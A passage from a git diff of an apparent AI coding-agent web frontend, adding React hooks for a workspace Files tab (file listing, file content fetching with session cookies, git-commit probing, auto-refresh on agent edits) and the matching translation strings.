diff --git a/src/components/features/served-host/path-form.tsx b/src/components/features/served-host/path-form.tsx
deleted file mode 100644
index daec8b7c7e..0000000000
--- a/src/components/features/served-host/path-form.tsx
+++ /dev/null
@@ -1,19 +0,0 @@
-interface PathFormProps {
- ref: React.RefObject<HTMLFormElement | null>;
- onBlur: () => void;
- defaultValue: string;
-}
-
-export function PathForm({ ref, onBlur, defaultValue }: PathFormProps) {
- return (
- <form ref={ref} onSubmit={(e) => e.preventDefault()} className="flex-1">
- <input
- name="url"
- type="text"
- defaultValue={defaultValue}
- className="w-full bg-transparent"
- onBlur={onBlur}
- />
- </form>
- );
-}
diff --git a/src/hooks/query/use-has-git-commits.ts b/src/hooks/query/use-has-git-commits.ts
new file mode 100644
index 0000000000..8e2e9a3535
--- /dev/null
+++ b/src/hooks/query/use-has-git-commits.ts
@@ -0,0 +1,73 @@
+import { useQuery } from "@tanstack/react-query";
+
+import { createRemoteWorkspace } from "#/api/typescript-client";
+import { useActiveConversation } from "#/hooks/query/use-active-conversation";
+import { useRuntimeIsReady } from "#/hooks/use-runtime-is-ready";
+
+/**
+ * Probes whether the conversation's working-directory git repository has
+ * at least one commit reachable from HEAD.
+ *
+ * Used by the Files tab to decide whether the diff view is a sensible
+ * default: an attached repo with zero commits (e.g. a brand-new empty
+ * GitHub repo, or a freshly `git init`-ed workspace) has no diff base to
+ * compare against, so the file viewer is a better landing experience.
+ *
+ * Returns `hasCommits: null` while the probe is in-flight so callers can
+ * distinguish "still loading" from a definitive "no commits".
+ */
+export function useHasGitCommits(options?: { enabled?: boolean }): {
+ hasCommits: boolean | null;
+ isLoading: boolean;
+} {
+ const { data: conversation } = useActiveConversation();
+ const runtimeIsReady = useRuntimeIsReady();
+
+ const conversationId = conversation?.id;
+ const conversationUrl = conversation?.conversation_url;
+ const sessionApiKey = conversation?.session_api_key;
+ const workingDir = conversation?.workspace?.working_dir?.trim();
+
+ const enabled =
+ (options?.enabled ?? true) &&
+ runtimeIsReady &&
+ !!conversationId &&
+ !!workingDir;
+
+ const query = useQuery<boolean>({
+ queryKey: [
+ "has-git-commits",
+ conversationId,
+ conversationUrl,
+ sessionApiKey,
+ workingDir,
+ ],
+ queryFn: async () => {
+ const workspace = createRemoteWorkspace({
+ conversationUrl,
+ sessionApiKey,
+ });
+
+ // `git rev-parse --verify HEAD` exits 0 iff HEAD resolves to a real
+ // commit. On an unborn branch (`git init` with no commits) it exits
+ // non-zero. Equally returns non-zero outside a git repo, but
+ // callers gate this hook on the repo-is-attached signal.
+ const result = await workspace.executeCommand(
+ "git rev-parse --verify HEAD",
+ workingDir,
+ 10,
+ );
+ return result.exit_code === 0;
+ },
+ enabled,
+ retry: false,
+ staleTime: 60_000,
+ gcTime: 5 * 60_000,
+ meta: { disableToast: true },
+ });
+
+ return {
+ hasCommits: query.data ?? null,
+ isLoading: query.isLoading,
+ };
+}
diff --git a/src/hooks/query/use-unified-active-host.ts b/src/hooks/query/use-unified-active-host.ts
deleted file mode 100644
index 6dd72a4fdc..0000000000
--- a/src/hooks/query/use-unified-active-host.ts
+++ /dev/null
@@ -1,53 +0,0 @@
-import { useQueries, useQuery } from "@tanstack/react-query";
-import axios from "axios";
-import React from "react";
-import { useConversationId } from "#/hooks/use-conversation-id";
-import { useRuntimeIsReady } from "#/hooks/use-runtime-is-ready";
-import { useActiveConversation } from "#/hooks/query/use-active-conversation";
-import { getConfiguredWorkerUrls } from "#/api/agent-server-config";
-
-export const useUnifiedActiveHost = () => {
- const [activeHost, setActiveHost] = React.useState<string | null>(null);
- const { conversationId } = useConversationId();
- const runtimeIsReady = useRuntimeIsReady();
- const { isLoading: isLoadingConversation } = useActiveConversation();
-
- const { data, isLoading: hostsQueryLoading } = useQuery({
- queryKey: [conversationId, "hosts"],
- queryFn: async () => ({ hosts: getConfiguredWorkerUrls() }),
- enabled: runtimeIsReady && !!conversationId,
- initialData: { hosts: [] },
- meta: {
- disableToast: true,
- },
- });
-
- const apps = useQueries({
- queries: data.hosts.map((host) => ({
- queryKey: [conversationId, "unified", "hosts", host],
- queryFn: async () => {
- try {
- await axios.get(host);
- return host;
- } catch (e) {
- return "";
- }
- },
- refetchInterval: 3000,
- meta: {
- disableToast: true,
- },
- })),
- });
-
- const appsData = apps.map((app) => app.data);
-
- React.useEffect(() => {
- const successfulApp = appsData.find((app) => app);
- setActiveHost(successfulApp || "");
- }, [appsData]);
-
- const isLoading = isLoadingConversation || hostsQueryLoading;
-
- return { activeHost, isLoading };
-};
diff --git a/src/hooks/query/use-workspace-file-content.ts b/src/hooks/query/use-workspace-file-content.ts
new file mode 100644
index 0000000000..a6524b7562
--- /dev/null
+++ b/src/hooks/query/use-workspace-file-content.ts
@@ -0,0 +1,203 @@
+import { useQuery } from "@tanstack/react-query";
+
+import { useActiveConversation } from "#/hooks/query/use-active-conversation";
+import { useRuntimeIsReady } from "#/hooks/use-runtime-is-ready";
+import {
+ joinWorkspaceUrl,
+ useWorkspaceSession,
+} from "#/hooks/query/use-workspace-session";
+
+// Magic-number sniff for common binary formats we can render via iframe.
+const IMAGE_EXTENSIONS = new Set([
+ "png",
+ "jpg",
+ "jpeg",
+ "gif",
+ "webp",
+ "bmp",
+ "ico",
+ "svg",
+ "avif",
+]);
+
+const PDF_EXTENSIONS = new Set(["pdf"]);
+
+export type WorkspaceFileKind = "text" | "image" | "pdf" | "binary";
+
+export interface WorkspaceFileContent {
+ path: string;
+ kind: WorkspaceFileKind;
+ /** Decoded text contents — only populated when kind === "text". */
+ text: string | null;
+ /**
+ * URL pointing at the file on the agent server's static workspace
+ * fileserver (the `/api/conversations/{id}/workspace/...` route added in
+ * software-agent-sdk PR #3192). Suitable to use as an `<iframe src>` or
+ * `<img src>` against unauthenticated agent servers. Always populated.
+ */
+ staticUrl: string;
+ /** MIME type guessed from the file extension. */
+ mimeType: string;
+}
+
+function getExtension(path: string): string {
+ const idx = path.lastIndexOf(".");
+ if (idx === -1) return "";
+ return path.slice(idx + 1).toLowerCase();
+}
+
+function guessMimeType(path: string): string {
+ const ext = getExtension(path);
+ switch (ext) {
+ case "html":
+ case "htm":
+ return "text/html";
+ case "css":
+ return "text/css";
+ case "js":
+ case "mjs":
+ case "cjs":
+ return "text/javascript";
+ case "json":
+ return "application/json";
+ case "md":
+ case "markdown":
+ return "text/markdown";
+ case "svg":
+ return "image/svg+xml";
+ case "png":
+ return "image/png";
+ case "jpg":
+ case "jpeg":
+ return "image/jpeg";
+ case "gif":
+ return "image/gif";
+ case "webp":
+ return "image/webp";
+ case "bmp":
+ return "image/bmp";
+ case "ico":
+ return "image/x-icon";
+ case "avif":
+ return "image/avif";
+ case "pdf":
+ return "application/pdf";
+ default:
+ return "text/plain";
+ }
+}
+
+function classifyKind(path: string): WorkspaceFileKind {
+ const ext = getExtension(path);
+ if (IMAGE_EXTENSIONS.has(ext)) return "image";
+ if (PDF_EXTENSIONS.has(ext)) return "pdf";
+ // Everything else is treated as text and decoded; if decoding produces
+ // null bytes we fall back to "binary" downstream.
+ return "text";
+}
+
+function isLikelyBinary(buffer: ArrayBuffer): boolean {
+ // Same heuristic git uses: presence of a NUL byte in the first ~8KB.
+ const view = new Uint8Array(buffer, 0, Math.min(buffer.byteLength, 8000));
+ for (let i = 0; i < view.length; i += 1) {
+ if (view[i] === 0) return true;
+ }
+ return false;
+}
+
+/**
+ * Reads a single file out of the active conversation's workspace via the
+ * agent server's static workspace fileserver and classifies it as
+ * text/image/pdf/binary so the UI can pick a renderer.
+ *
+ * Image and PDF kinds are rendered directly from `staticUrl` (no fetch
+ * here). Text/binary classification still requires reading the body so
+ * we can run a NUL-byte sniff and decode UTF-8 for the plain/markdown
+ * renderers.
+ *
+ * Pass a falsy `relativePath` to disable the query (e.g. when no file is
+ * selected yet).
+ */
+export function useWorkspaceFileContent(relativePath: string | null) {
+ const { data: conversation } = useActiveConversation();
+ const runtimeIsReady = useRuntimeIsReady();
+ const { data: workspaceSession } = useWorkspaceSession();
+
+ const conversationId = conversation?.id;
+ const conversationUrl = conversation?.conversation_url;
+ const baseUrl = workspaceSession?.baseUrl;
+
+ return useQuery<WorkspaceFileContent>({
+ queryKey: [
+ "workspace-file-content",
+ conversationId,
+ conversationUrl,
+ baseUrl,
+ relativePath,
+ ],
+ queryFn: async () => {
+ if (!relativePath) throw new Error("No path");
+ if (!baseUrl) throw new Error("No workspace session");
+
+ const staticUrl = joinWorkspaceUrl(baseUrl, relativePath);
+ const kind = classifyKind(relativePath);
+ const mimeType = guessMimeType(relativePath);
+
+ // Image / PDF: don't fetch the bytes — the consumer renders them
+ // directly via `staticUrl` in an iframe or <img>. The browser
+ // will attach the `oh_workspace_session_key` cookie minted by
+ // `useWorkspaceSession` so the request authenticates without us
+ // having to set any headers (which a top-level <iframe src> can't
+ // do anyway).
+ if (kind !== "text") {
+ return {
+ path: relativePath,
+ kind,
+ text: null,
+ staticUrl,
+ mimeType,
+ };
+ }
+
+ // For our own fetch we also rely on the workspace-session cookie
+ // (it travels because we opt in to credentialed requests). This
+ // replaces the previous `X-Session-API-Key` header: same auth
+ // path the iframe/img uses, no CORS preflight for a custom header.
+ const response = await fetch(staticUrl, {
+ credentials: "include",
+ });
+ if (!response.ok) {
+ throw new Error(`Failed to read ${relativePath}: ${response.status}`);
+ }
+
+ const buffer = await response.arrayBuffer();
+ if (isLikelyBinary(buffer)) {
+ return {
+ path: relativePath,
+ kind: "binary",
+ text: null,
+ staticUrl,
+ mimeType: "application/octet-stream",
+ };
+ }
+
+ const text = new TextDecoder("utf-8", { fatal: false }).decode(buffer);
+ return {
+ path: relativePath,
+ kind: "text",
+ text,
+ staticUrl,
+ mimeType,
+ };
+ },
+ // Gate on `baseUrl`: until `useWorkspaceSession` has minted the
+ // workspace cookie, we cannot fetch `staticUrl` (would 401) and
+ // we'd hand `<iframe src>` a URL that doesn't authenticate. Once
+ // the session resolves the query unblocks automatically.
+ enabled: runtimeIsReady && !!baseUrl && !!relativePath,
+ retry: false,
+ staleTime: 1000 * 5,
+ gcTime: 1000 * 60,
+ meta: { disableToast: true },
+ });
+}
diff --git a/src/hooks/query/use-workspace-files.ts b/src/hooks/query/use-workspace-files.ts
new file mode 100644
index 0000000000..674eb16af1
--- /dev/null
+++ b/src/hooks/query/use-workspace-files.ts
@@ -0,0 +1,96 @@
+import { useQuery } from "@tanstack/react-query";
+
+import { createRemoteWorkspace } from "#/api/typescript-client";
+import { useActiveConversation } from "#/hooks/query/use-active-conversation";
+import { useRuntimeIsReady } from "#/hooks/use-runtime-is-ready";
+
+// Cap the number of files we render so a giant repo doesn't freeze the UI.
+const MAX_FILES = 2000;
+
+// Directory names that we never want to descend into when listing files.
+const EXCLUDED_DIRS = [
+ ".git",
+ "node_modules",
+ ".venv",
+ "venv",
+ "__pycache__",
+ "dist",
+ "build",
+ ".next",
+ ".cache",
+ ".pytest_cache",
+ ".mypy_cache",
+ ".turbo",
+ ".parcel-cache",
+ "target",
+];
+
+// Build a `find` invocation that lists files relative to the workspace root.
+function buildListCommand(): string {
+ const pruneExpr = EXCLUDED_DIRS.map((dir) => `-name '${dir}' -prune`).join(
+ " -o ",
+ );
+ return `find . \\( ${pruneExpr} \\) -o -type f -print 2>/dev/null | sort | head -n ${MAX_FILES}`;
+}
+
+function normalizePath(path: string): string {
+ // Strip a leading "./" so paths render cleanly in the UI.
+ return path.startsWith("./") ? path.slice(2) : path;
+}
+
+/**
+ * Lists every regular file beneath the active conversation's working
+ * directory, excluding common heavy/build directories. Returns paths relative
+ * to the working dir (e.g. `src/index.html`).
+ */
+export function useWorkspaceFiles() {
+ const { data: conversation } = useActiveConversation();
+ const runtimeIsReady = useRuntimeIsReady();
+
+ const conversationId = conversation?.id;
+ const conversationUrl = conversation?.conversation_url;
+ const sessionApiKey = conversation?.session_api_key;
+ const workingDir = conversation?.workspace?.working_dir?.trim();
+
+ return useQuery<string[]>({
+ queryKey: [
+ "workspace-files",
+ conversationId,
+ conversationUrl,
+ sessionApiKey,
+ workingDir,
+ ],
+ queryFn: async () => {
+ const workspace = createRemoteWorkspace({
+ conversationUrl,
+ sessionApiKey,
+ });
+
+ const result = await workspace.executeCommand(
+ buildListCommand(),
+ workingDir,
+ 30,
+ );
+
+ if (result.exit_code !== 0) {
+ throw new Error(
+ result.stderr?.trim() || "Failed to list workspace files",
+ );
+ }
+
+ const lines = result.stdout
+ .split(/\r?\n/)
+ .map((line) => line.trim())
+ .filter(Boolean)
+ .map(normalizePath);
+
+ // Defensive: keep results unique and bounded.
+ return Array.from(new Set(lines)).slice(0, MAX_FILES);
+ },
+ enabled: runtimeIsReady && !!conversationId && !!workingDir,
+ retry: false,
+ staleTime: 1000 * 30,
+ gcTime: 1000 * 60 * 5,
+ meta: { disableToast: true },
+ });
+}
diff --git a/src/hooks/query/use-workspace-session.ts b/src/hooks/query/use-workspace-session.ts
new file mode 100644
index 0000000000..a197dccbc2
--- /dev/null
+++ b/src/hooks/query/use-workspace-session.ts
@@ -0,0 +1,103 @@
+import { useQuery } from "@tanstack/react-query";
+
+import { createRemoteWorkspace } from "#/api/typescript-client";
+import { useActiveConversation } from "#/hooks/query/use-active-conversation";
+import { useRuntimeIsReady } from "#/hooks/use-runtime-is-ready";
+
+export interface WorkspaceSession {
+ /**
+ * Absolute URL prefix for the conversation's static workspace fileserver,
+ * always ending in a `/`. Append a relative path to address a single file
+ * (e.g. `${baseUrl}index.html`).
+ */
+ baseUrl: string;
+}
+
+/**
+ * Mint a workspace static-asset session for the active conversation.
+ *
+ * Calling `POST /api/auth/workspace-session` exchanges the conversation's
+ * `X-Session-API-Key` for an `oh_workspace_session_key` cookie scoped to
+ * `/api/conversations`. Once that cookie is set the browser can embed
+ * workspace artifacts directly as `<iframe src>` / `<img src>` / top-level
+ * navigations — which it cannot do when the only credential is a custom
+ * request header.
+ *
+ * We treat the call as cache-once-per-conversation: the cookie lives in
+ * the browser jar, so re-issuing the POST on every component remount is
+ * wasted work. `staleTime: Infinity` keeps the cached `baseUrl` in place
+ * for the lifetime of the conversation; only switching conversations (a
+ * different `conversationId` in the query key) re-runs it.
+ *
+ * Returns `null` from `data` until the session has been minted, so
+ * callers can gate iframe / img rendering on a definite "the cookie is
+ * set" signal rather than guessing.
+ */
+export function useWorkspaceSession(): {
+ data: WorkspaceSession | null;
+ isLoading: boolean;
+ isError: boolean;
+ error: Error | null;
+} {
+ const { data: conversation } = useActiveConversation();
+ const runtimeIsReady = useRuntimeIsReady();
+
+ const conversationId = conversation?.id;
+ const conversationUrl = conversation?.conversation_url;
+ const sessionApiKey = conversation?.session_api_key;
+
+ const enabled = runtimeIsReady && !!conversationId;
+
+ const query = useQuery<WorkspaceSession>({
+ queryKey: [
+ "workspace-session",
+ conversationId,
+ conversationUrl,
+ sessionApiKey,
+ ],
+ queryFn: async () => {
+ const workspace = createRemoteWorkspace({
+ conversationUrl,
+ sessionApiKey,
+ });
+ const baseUrl = await workspace.startWorkspaceSession(conversationId!);
+ return { baseUrl };
+ },
+ enabled,
+ // The cookie is sticky; minting it once per page-load is plenty.
+ staleTime: Infinity,
+ gcTime: Infinity,
+ // No auto-retry: a 401 here means the session API key isn't valid for
+ // this conversation, which won't fix itself on a second POST. The
+ // user can re-trigger by reloading or switching conversation.
+ retry: false,
+ });
+
+ return {
+ data: query.data ?? null,
+ isLoading: query.isLoading,
+ isError: query.isError,
+ error: (query.error as Error | null) ?? null,
+ };
+}
+
+/**
+ * Append a workspace-relative path to a base URL produced by
+ * {@link useWorkspaceSession}, URL-encoding each segment but preserving
+ * `/` separators. Pass an empty / undefined `relativePath` to get the
+ * directory base back (server then falls back to its `index.html`).
+ */
+export function joinWorkspaceUrl(
+ baseUrl: string,
+ relativePath?: string | null,
+): string {
+ const cleaned = (relativePath ?? "").replace(/^\/+/, "");
+ if (!cleaned) return baseUrl;
+ const encoded = cleaned
+ .split("/")
+ .map((segment) => encodeURIComponent(segment))
+ .join("/");
+ // baseUrl is guaranteed to end with a single trailing slash by the
+ // server's contract (startWorkspaceSession returns `${host}/api/.../workspace/`).
+ return `${baseUrl}${encoded}`;
+}
diff --git a/src/hooks/use-auto-refresh-files-on-edit.ts b/src/hooks/use-auto-refresh-files-on-edit.ts
new file mode 100644
index 0000000000..05d110af50
--- /dev/null
+++ b/src/hooks/use-auto-refresh-files-on-edit.ts
@@ -0,0 +1,108 @@
+import { useEffect, useRef } from "react";
+import { useQueryClient } from "@tanstack/react-query";
+
+import { useEventStore, type OHEvent } from "#/stores/use-event-store";
+import { useWorkspaceMutationCounter } from "#/stores/use-workspace-mutation-counter";
+
+// `kind` values we treat as a file-mutation observation.
+const FILE_EDIT_OBSERVATION_KINDS = new Set([
+ "FileEditorObservation",
+ "StrReplaceEditorObservation",
+ "PlanningFileEditorObservation",
+]);
+
+// Commands on the str-replace-editor family that don't change anything on
+// disk. We don't want to invalidate caches for those.
+const READ_ONLY_COMMANDS = new Set(["view"]);
+
+function isFileMutationObservation(event: OHEvent): boolean {
+ // ObservationEvents have `source: "environment"` and an `observation`
+ // field — narrow to that shape without pulling in the whole event union.
+ const obs = (event as { observation?: { kind?: string; command?: string } })
+ .observation;
+ if (!obs || typeof obs.kind !== "string") return false;
+ if (!FILE_EDIT_OBSERVATION_KINDS.has(obs.kind)) return false;
+ if (obs.command && READ_ONLY_COMMANDS.has(obs.command)) return false;
+ return true;
+}
+
+/**
+ * Watches the conversation event stream and invalidates the workspace file
+ * queries whenever the agent commits a file-editor mutation (create / edit /
+ * insert / undo_edit). This keeps the Files tab's list, content view and
+ * diff view in sync with what the agent has actually written to disk,
+ * without requiring the user to click refresh manually.
+ *
+ * Mount this hook inside any component that should drive auto-refresh —
+ * the Files tab is the obvious caller. Multiple mounts are safe because
+ * React Query coalesces overlapping invalidations.
+ */
+export function useAutoRefreshFilesOnEdit(): void {
+ const queryClient = useQueryClient();
+ const events = useEventStore((state) => state.events);
+ const bumpWorkspaceMutationCounter = useWorkspaceMutationCounter(
+ (state) => state.bump,
+ );
+
+ // Track which events we've already reacted to. Two parallel stores:
+ //
+ // 1. `processedIdsRef` — keys events that *have* an id. The event store
+ // re-sorts on insert when out-of-order events arrive (an older event
+ // can land *between* two newer ones already in the array), so we
+ // cannot use a `slice(processedCount)` trick — it would miss a
+ // late-arriving older event because the array length grew but the
+ // tail we just diffed didn't contain it. Using a Set of ids is O(n)
+ // per render in the worst case but small in practice and immune to
+ // reordering. Type matches the event store's own dedup set
+ // (`Set<string | number>` in `use-event-store.ts`) so a stray
+ // numeric id (legacy server payload, hand-crafted test event, …)
+ // can't sneak past.
+ //
+ // 2. `processedEventsRef` — keys events that have NO id. We cannot put
+ // a literal `undefined` into the id Set: that would make the second,
+ // third, … id-less arrival collide on the same `undefined` key and
+ // silently skip them. We also cannot just skip dedup for id-less
+ // events: the events array is rebuilt on every store mutation but
+ // its element references are stable, so the same id-less event
+ // appears in the array forever and would re-bump the workspace
+ // mutation counter on every subsequent re-render. Keying by object
+ // reference (via a WeakSet) gives us "process each id-less event
+ // exactly once" — durable, free, no held-onto memory after the
+ // store clears.
+ const processedIdsRef = useRef<Set<string | number>>(new Set());
+ const processedEventsRef = useRef<WeakSet<OHEvent>>(new WeakSet());
+
+ useEffect(() => {
+ const newMutationEvents: OHEvent[] = [];
+ for (const event of events) {
+ const id: string | number | undefined =
+ "id" in event ? event.id : undefined;
+ const alreadyProcessed =
+ id !== undefined
+ ? processedIdsRef.current.has(id)
+ : processedEventsRef.current.has(event);
+ // Inverted predicate so we avoid `continue` (banned by repo lint).
+ if (!alreadyProcessed) {
+ if (id !== undefined) {
+ processedIdsRef.current.add(id);
+ } else {
+ processedEventsRef.current.add(event);
+ }
+ if (isFileMutationObservation(event)) newMutationEvents.push(event);
+ }
+ }
+
+ if (newMutationEvents.length === 0) return;
+
+ queryClient.invalidateQueries({ queryKey: ["workspace-files"] });
+ queryClient.invalidateQueries({ queryKey: ["workspace-file-content"] });
+ queryClient.invalidateQueries({ queryKey: ["file_changes"] });
+ // Force iframes / <img> tags pointing at the static workspace
+ // fileserver to re-fetch. Without this they happily keep showing the
+ // stale (browser-cached) bytes even after the agent has rewritten the
+ // file on disk — e.g. tweaking style.css would silently have no
+ // visible effect on the rendered index.html until the user reloaded
+ // the whole canvas.
+ bumpWorkspaceMutationCounter();
+ }, [events, queryClient, bumpWorkspaceMutationCounter]);
+}
diff --git a/src/hooks/use-is-git-repo.ts b/src/hooks/use-is-git-repo.ts
new file mode 100644
index 0000000000..0b700620cc
--- /dev/null
+++ b/src/hooks/use-is-git-repo.ts
@@ -0,0 +1,20 @@
+import { useActiveConversation } from "#/hooks/query/use-active-conversation";
+
+/**
+ * Returns whether the active conversation is working in an "existing git
+ * repository" from the user's point of view — that is, one they explicitly
+ * attached via the repo picker. We deliberately do *not* probe the
+ * filesystem (the agent-server initialises every workspace as an internal
+ * git worktree for change tracking, so a positive `git status` does not
+ * mean the user is working on a real repo).
+ */
+export function useIsGitRepo(): {
+ isGitRepo: boolean;
+ isLoading: boolean;
+} {
+ const { data: conversation, isLoading } = useActiveConversation();
+ return {
+ isGitRepo: !!conversation?.selected_repository,
+ isLoading,
+ };
+}
diff --git a/src/i18n/translation.json b/src/i18n/translation.json
index be25d657e0..27925fe9e6 100644
--- a/src/i18n/translation.json
+++ b/src/i18n/translation.json
@@ -18670,6 +18670,227 @@
"uk": "Додаток",
"ca": "Aplicació"
},
+ "COMMON$FILES": {
+ "en": "Files",
+ "ja": "ファイル",
+ "zh-CN": "文件",
+ "zh-TW": "檔案",
+ "ko-KR": "파일",
+ "no": "Filer",
+ "it": "File",
+ "pt": "Arquivos",
+ "es": "Archivos",
+ "ar": "الملفات",
+ "fr": "Fichiers",
+ "tr": "Dosyalar",
+ "de": "Dateien",
+ "uk": "Файли",
+ "ca": "Fitxers"
+ },
+ "FILES$DIFF_VIEW": {
+ "en": "Diff",
+ "ja": "差分",
+ "zh-CN": "差异",
+ "zh-TW": "差異",
+ "ko-KR": "차이",
+ "no": "Diff",
+ "it": "Diff",
+ "pt": "Diff",
+ "es": "Diff",
+ "ar": "الفروقات",
+ "fr": "Diff",
+ "tr": "Fark",
+ "de": "Diff",
+ "uk": "Diff",
+ "ca": "Diff"
+ },
+ "FILES$RICH": {
+ "en": "Rich",
+ "ja": "リッチ",
+ "zh-CN": "富文本",
+ "zh-TW": "富文字",
+ "ko-KR": "리치",
+ "no": "Rik",
+ "it": "Ricco",
+ "pt": "Rico",
+ "es": "Enriquecido",
+ "ar": "غني",
+ "fr": "Riche",
+ "tr": "Zengin",
+ "de": "Reich",
+ "uk": "Повний",
+ "ca": "Enriquit"
+ },
+ "FILES$PLAIN": {
+ "en": "Plain",
+ "ja": "プレーン",
+ "zh-CN": "纯文本",
+ "zh-TW": "純文字",
+ "ko-KR": "일반",
+ "no": "Vanlig",
+ "it": "Semplice",
+ "pt": "Simples",
+ "es": "Plano",
+ "ar": "عادي",
+ "fr": "Simple",
+ "tr": "Düz",
+ "de": "Einfach",
+ "uk": "Простий",
+ "ca": "Pla"
+ },
+ "FILES$OPEN_IN_NEW_WINDOW": {
+ "en": "Open in new window",
+ "ja": "新しいウィンドウで開く",
+ "zh-CN": "在新窗口中打开",
+ "zh-TW": "在新視窗中開啟",
+ "ko-KR": "새 창에서 열기",
+ "no": "Åpne i nytt vindu",
+ "it": "Apri in una nuova finestra",
+ "pt": "Abrir em nova janela",
+ "es": "Abrir en una ventana nueva",
+ "ar": "افتح في نافذة جديدة",
+ "fr": "Ouvrir dans une nouvelle fenêtre",
+ "tr": "Yeni pencerede aç",
+ "de": "In neuem Fenster öffnen",
+ "uk": "Відкрити в новому вікні",
+ "ca": "Obre en una finestra nova"
+ },
+ "FILES$NO_FILE_SELECTED": {
+ "en": "Select a file to view its contents",
+ "ja": "内容を表示するファイルを選択してください",
+ "zh-CN": "选择文件以查看其内容",
+ "zh-TW": "選擇檔案以查看其內容",
+ "ko-KR": "내용을 보려면 파일을 선택하세요",
+ "no": "Velg en fil for å vise innholdet",
+ "it": "Seleziona un file per visualizzarne il contenuto",
+ "pt": "Selecione um arquivo para ver o conteúdo",
+ "es": "Selecciona un archivo para ver su contenido",
+ "ar": "اختر ملفًا لعرض محتواه",
+ "fr": "Sélectionnez un fichier pour voir son contenu",
+ "tr": "İçeriğini görmek için bir dosya seçin",
+ "de": "Wählen Sie eine Datei aus, um ihren Inhalt anzuzeigen",
+ "uk": "Виберіть файл, щоб переглянути його вміст",
+ "ca": "Selecciona un fitxer per veure'n el contingut"
+ },
+ "FILES$LOAD_ERROR": {
+ "en": "Could not load this file",
+ "ja": "このファイルを読み込めませんでした",
+ "zh-CN": "无法加载此文件",
+ "zh-TW": "無法載入此檔案",
+ "ko-KR": "이 파일을 불러올 수 없습니다",
+ "no": "Kunne ikke laste denne filen",
+ "it": "Impossibile caricare questo file",
+ "pt": "Não foi possível carregar este arquivo",
+ "es": "No se pudo cargar este archivo",
+ "ar": "تعذّر تحميل هذا الملف",
+ "fr": "Impossible de charger ce fichier",
+ "tr": "Bu dosya yüklenemedi",
+ "de": "Diese Datei konnte nicht geladen werden",
+ "uk": "Не вдалося завантажити цей файл",
+ "ca": "No s'ha pogut carregar aquest fitxer"
+ },
+ "FILES$BINARY_FALLBACK": {
+ "en": "Binary file – preview not available",
+ "ja": "バイナリファイル - プレビューを利用できません",
+ "zh-CN": "二进制文件 – 无法预览",
+ "zh-TW": "二進位檔案 – 無法預覽",
+ "ko-KR": "이진 파일 – 미리 보기를 사용할 수 없습니다",
+ "no": "Binærfil – forhåndsvisning er ikke tilgjengelig",
+ "it": "File binario – anteprima non disponibile",
+ "pt": "Arquivo binário – visualização indisponível",
+ "es": "Archivo binario – vista previa no disponible",
+ "ar": "ملف ثنائي – المعاينة غير متاحة",
+ "fr": "Fichier binaire – aperçu indisponible",
+ "tr": "İkili dosya – önizleme kullanılamıyor",
+ "de": "Binärdatei – keine Vorschau verfügbar",
+ "uk": "Двійковий файл – попередній перегляд недоступний",
+ "ca": "Fitxer binari – previsualització no disponible"
+ },
+ "FILES$LOADING_FILES": {
+ "en": "Loading files…",
+ "ja": "ファイルを読み込んでいます…",
+ "zh-CN": "正在加载文件……",
+ "zh-TW": "正在載入檔案……",
+ "ko-KR": "파일을 불러오는 중…",
+ "no": "Laster filer …",
+ "it": "Caricamento dei file…",
+ "pt": "Carregando arquivos…",
+ "es": "Cargando archivos…",
+ "ar": "جارٍ تحميل الملفات…",
+ "fr": "Chargement des fichiers…",
+ "tr": "Dosyalar yükleniyor…",
+ "de": "Dateien werden geladen…",
+ "uk": "Завантаження файлів…",
+ "ca": "S'estan carregant els fitxers…"
+ },
+ "FILES$NO_FILES": {
+ "en": "No files in workspace",
+ "ja": "ワークスペースにファイルがありません",
+ "zh-CN": "工作区中没有文件",
+ "zh-TW": "工作區中沒有檔案",
+ "ko-KR": "작업 영역에 파일이 없습니다",
+ "no": "Ingen filer i arbeidsområdet",
+ "it": "Nessun file nello spazio di lavoro",
+ "pt": "Nenhum arquivo no espaço de trabalho",
+ "es": "No hay archivos en el espacio de trabajo",
+ "ar": "لا توجد ملفات في مساحة العمل",
+ "fr": "Aucun fichier dans l'espace de travail",
+ "tr": "Çalışma alanında dosya yok",
+ "de": "Keine Dateien im Arbeitsbereich",
+ "uk": "У робочій області немає файлів",
+ "ca": "No hi ha fitxers a l'espai de treball"
+ },
+ "FILES$MORE_FILES": {
+ "en": "More files",
+ "ja": "他のファイル",
+ "zh-CN": "更多文件",
+ "zh-TW": "更多檔案",
+ "ko-KR": "다른 파일",
+ "no": "Flere filer",
+ "it": "Altri file",
+ "pt": "Mais arquivos",
+ "es": "Más archivos",
+ "ar": "مزيد من الملفات",
+ "fr": "Plus de fichiers",
+ "tr": "Daha fazla dosya",
+ "de": "Weitere Dateien",
+ "uk": "Більше файлів",
+ "ca": "Més fitxers"
+ },
+ "FILES$SHOW_FILE_TREE": {
+ "en": "Show file tree",
+ "ja": "ファイルツリーを表示",
+ "zh-CN": "显示文件树",
+ "zh-TW": "顯示檔案樹",
+ "ko-KR": "파일 트리 표시",
+ "no": "Vis filtre",
+ "it": "Mostra l'albero dei file",
+ "pt": "Mostrar árvore de arquivos",
+ "es": "Mostrar árbol de archivos",
+ "ar": "إظهار شجرة الملفات",
+ "fr": "Afficher l'arborescence des fichiers",
+ "tr": "Dosya ağacını göster",
+ "de": "Dateibaum anzeigen",
+ "uk": "Показати дерево файлів",
+ "ca": "Mostra l'arbre de fitxers"
+ },
+ "FILES$HIDE_FILE_TREE": {
+ "en": "Hide file tree",
+ "ja": "ファイルツリーを非表示",
+ "zh-CN": "隐藏文件树",
+ "zh-TW": "隱藏檔案樹",
+ "ko-KR": "파일 트리 숨기기",
+ "no": "Skjul filtre",
+ "it": "Nascondi l'albero dei file",
+ "pt": "Ocultar árvore de arquivos",
+ "es": "Ocultar árbol de archivos",
+ "ar": "إخفاء شجرة الملفات",
+ "fr": "Masquer l'arborescence des fichiers",
+ "tr": "Dosya ağacını gizle",
+ "de": "Dateibaum ausblenden",
+ "uk": "Сховати дерево файлів",
+ "ca": "Amaga l'arbre de fitxers"
+ },
"COMMON$PLANNER": {
"en": "Planner",
"ja": "プランナー",
@@ -19377,21 +19598,21 @@
"ca": "Atura el servidor"
},
"COMMON$TERMINAL": {
- "en": "Terminal (read-only)",
- "ja": "ターミナル (読み取り専用)",
- "zh-CN": "终端(只读)",
- "zh-TW": "終端機(唯讀)",
- "ko-KR": "터미널 (읽기 전용)",
- "no": "Terminal (skrivebeskyttet)",
- "it": "Terminale (sola lettura)",
- "pt": "Terminal (somente leitura)",
- "es": "Terminal (solo lectura)",
- "ar": "الطرفية (للقراءة فقط)",
